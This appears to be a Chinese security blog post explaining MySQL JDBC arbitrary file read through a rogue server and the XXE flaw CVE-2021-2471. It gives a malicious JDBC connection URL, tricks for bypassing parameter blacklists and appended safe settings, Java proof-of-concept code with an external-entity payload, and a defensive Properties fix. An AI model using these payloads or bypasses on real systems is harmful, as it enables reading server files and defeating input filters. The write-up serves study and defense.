JDBC mysql任意文件读取漏洞

mapl3miss Lv2

读文件

当我们可以控制jdbc mysql连接的时候,我们可以通过设置如下这几个参数通过连接恶意mysql服务器来达到任意文件读取的危害

1
2
3
4
5
6
7
文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true 允许mysql读取客户端本地文件
allowUrlInLocalInfile=true 允许mysql通过url的形式读取客户端本地文件(如果有udf或mysql插件允许使用http_get(url)这样的函数,又会导致ssrf漏洞)

设置包大小参数
maxAllowedPacket=655360

核心机制:mysql可以要求客户端读取本地文件的,例如执行以下sql

1
2
LOAD DATA LOCAL INFILE '/path/to/file'
INTO TABLE t;

底层 MySQL 协议流程是:

1
2
Server → Client : 请给我这个文件的内容 
Client → Server : 好的,我把文件读出来发给你

客户端是被动执行mysql指令的

现在我们如果可以控制一个客户端的jdbc连接点,就可以设置指定参数,利用这一特性来做到任意文件读取

攻击流程:
客户端携带危险jdbc参数连接恶意mysql–>客户端进行jdbc连接后的默认sql语句查询–>mysql返回恶意指令,请求读取客户端文件–>客户端jdbc自动将文件发送到mysql

payload:

1
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_file_path

mysql蜜罐应该也是用的这个漏洞

JDBC连接参数不完全可控的绕过

注释符绕过

有一些情景开发人员可能意识到了这个问题,采用url拼接已赋值的危险参数的形式来防护

1
2
String jdbcUrl = request.getParameter("jdbcUrl");
Connection conn = DriverManager.getConnection(jdbcUrl + "&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false");

在8.0.x版本可以使用注释符#来注释掉后面的内容,这样就可以注释掉拼接内容


在5.1.x版本不能通过#注释来绕过,但可以通过&x=这种形式来绕过,但拼接的内容不能是以&开始


黑名单绕过

如果黑名单这样写

1
2
3
4
5
public static boolean isValidUrl(String url){
if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){
return false;
}
}

那么在8.0.x是可以使用url编码的方式来对参数名和参数值进行编码,但5.1.x仅仅参数值可以被编码,无法绕过这个黑名单

防御

使用预先定义的Properties将URL中的属性覆盖掉

1
2
3
4
5
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL,properties);

JDBC XXE(CVE-2021-2471)

这个漏洞是由于MySQL JDBC 8.0.27版本之前,存在getSource()方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击

利用条件比较苛刻,需要找到getSource()参数可控点

复现

jdbc=8.0.26

数据库返回恶意数据导致xxe(一般需要sqli漏洞配合)

从数据库查数据之后经过getSource函数处理xml内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class XXE {  

public static void main(String[] args) throws Exception {
String db_ip = "127.0.0.1";
String db_port = "3306";
String db_name = "test";
String db_user = "test";
String db_pass = "123456";

String url = "jdbc:mysql://"+db_ip+":"+db_port+"/"+db_name+"";
Connection con = DriverManager.getConnection(url,db_user,db_pass);

String sql = "SELECT test FROM test LIMIT 1";
Statement stmt = con.createStatement();
ResultSet rs = stmt.executeQuery(sql);

String xml = null;
if (rs.next()) {
xml = rs.getString(1);
}
System.out.println(xml);

SQLXML sqlxml = con.createSQLXML();
sqlxml.setString(xml);
sqlxml.getSource(DOMSource.class);
}
}

在数据库中写入恶意xml

成功触发XXE

用户输入恶意数据导致XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class XXE {
public static void main(String[] args) throws Exception {
String db_ip = "127.0.0.1";
String db_port = "3306";
String db_name = "test";
String db_user = "test";
String db_pass = "123456";

String url = "jdbc:mysql://"+db_ip+":"+db_port+"/"+db_name+"";
String xxe = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
"<!DOCTYPE foo [\n" +
"<!ELEMENT foo ANY >\n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888/test.dtd\" >\n" +
"]>\n" +
"<foo>&xxe;</foo>";

Connection con = DriverManager.getConnection(url, db_user, db_pass);
SQLXML sqlxml = con.createSQLXML();
sqlxml.setString(xxe);
sqlxml.getSource(DOMSource.class);
}
}

  • Title: JDBC mysql任意文件读取漏洞
  • Author: mapl3miss
  • Created at : 2025-09-19 12:22:05
  • Updated at : 2025-12-29 21:34:59
  • Link: https://redefine.ohevan.com/2025/09/19/JDBC-mysql任意文件读取漏洞/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments